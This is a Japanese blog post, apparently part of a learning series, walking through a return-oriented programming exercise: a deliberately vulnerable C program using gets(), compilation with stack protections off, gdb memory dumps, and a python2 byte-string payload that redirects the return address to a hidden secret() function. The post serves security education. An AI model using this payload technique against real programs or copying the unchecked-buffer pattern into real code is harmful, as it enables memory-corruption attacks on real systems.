#53 ROP
ワールドカップ、盛り上がりますね。コスタリカ戦を落としたのは痛すぎる…
以前、Buffer Overflowについての記事を書きました。古典的な攻撃方法で任意のコードが実行可能であることを解説しました。当然、この手の攻撃には対策が施されています。しかし、悪は滅びず。さらに高度な攻撃方法が編み出されています。
Return Oriented Programing (ROP)はその一つです。ROPでは、シェルコードの注入を行わず、すでにプログラム内に存在するコード断片をつなぎ合わせて攻撃を実現します。より具体的には、Buffer Overflowを利用してスタックを綿密に積み上げ、関数の戻り先をコントロールします。
目標
簡単なCプログラムを攻撃してみます。
作業
まずは、攻撃対象のプログラムです。
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[10];
printf("Enter: ");
gets(buf);
return 0;
}
int log_message(char *message) {
printf("%s\n", message);
return 0;
}
int secret() {
char password[18] = "secret_password";
printf("%s\n", password);
return 0;
}
main関数では使われていない、secret関数を実行してみます。引数が必要なlog_message関数も、うまくスタックを組めば実行できます。より実践的には、足し算や引き算などの細かい処理を次々とつなぎ合わせて任意の処理を実行することも可能です。
コンパイルします。
$ gcc -m32 -fno-stack-protector -no-pie -zexecstack -o rop rop.c
それでは、gdbで動作を見ながら攻略していきます。
$ gdb ./rop
gdb> b main
gdb> run
メモリの状態を見ると、0xffffd0b6に入力値が配置されています。
//入力前
$ x /20x 0xffffd0b6
0xffffd0b6: 0xeb10f7fb 0x0001f7fb 0xd0e00000 0x2000ffff
0xffffd0c6: 0xd020f7fa 0xd519f7ff 0xd357f7d9 0x0070ffff
0xffffd0d6: 0xd0000000 0xd519f7ff 0x0001f7d9 0xd1940000
0xffffd0e6: 0xd19cffff 0xd100ffff 0x2000ffff 0x9196f7fa
0xffffd0f6: 0x00010804 0xd1940000 0x2000ffff 0xd194f7fa
//aを20文字入力
x /20x 0xffffd0b6
0xffffd0b6: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd0c6: 0x61616161 0xd519f700 0xd357f7d9 0x0070ffff
0xffffd0d6: 0xd0000000 0xd519f7ff 0x0001f7d9 0xd1940000
0xffffd0e6: 0xd19cffff 0xd100ffff 0x2000ffff 0x9196f7fa
0xffffd0f6: 0x00010804 0xd1940000 0x2000ffff 0xd194f7fa
もともとのmain関数の戻り先は、0xffffd0daに配置されている0xd519f7ffなので、これを書き換えてsecret関数の先頭を指すようにします。
つまり、
とすれば、main -> secret -> exitとすることができるでしょう。
secret関数の開始アドレスは、0x0804920eなので、入力値は以下のようになります。
(python2 -c 'print("\xfb\xf7\x10\xeb\xfb\xf7\x01\x00\x00\x00\xe0\xd0\xff\xff\x00\x20\xfa\xf7\x20\xd0\xff\xf7\x19\xd5\xd9\xf7\x57\xd3\xff\xff\x70\x00\x00\x00\x00\xd0\xff\xf7" + "\x0e\x92\x04\x08" + "\x19\xd5\xd9\xf7")')
まあこんな長ったらしいバイト列を見ても面白くないので、試してみましょう。
$ run < <(python2 -c 'print("\xfb\xf7\x10\xeb\xfb\xf7\x01\x00\x00\x00\xd0\xd0\xff\xff\x00\x20\xfa\xf7\x20\xd0\xff\xf7\x19\xd5\xd9\xf7\x43\xd3\xff\xff\x70\x00\x00\x00\x00\xd0\xff\xf7" + "\x0e\x92\x04\x08" + "\x19\xd5\xd9\xf7")')
Starting program: /home/kusa/Projects/OWOP/ROP/target < <(python2 -c 'print("\xfb\xf7\x10\xeb\xfb\xf7\x01\x00\x00\x00\xd0\xd0\xff\xff\x00\x20\xfa\xf7\x20\xd0\xff\xf7\x19\xd5\xd9\xf7\x43\xd3\xff\xff\x70\x00\x00\x00\x00\xd0\xff\xf7" + "\x0e\x92\x04\x08" + "\x19\xd5\xd9\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter: secret_password
[Inferior 1 (process 9139) exited normally]
Warning: not running
"Enter:" のあとに"secret_password"と出力されているのがわかります。gdbでなくシェルで実行する場合は、OSの設定や環境変数によってスタックがずれることがあるため、なかなかうまくいきません。
まとめ
今回は簡単な実験でしたが、この技術をさらに応用すれば危険なことができるのは理解できました。ROPは、攻撃方法としてかなり洗練されていますが、どのような対策があるのでしょうか。32bitのプログラムばかり扱ってきましたが、64bitでも同様に攻撃がささるのでしょうか。深堀していきたい分野です。
EOF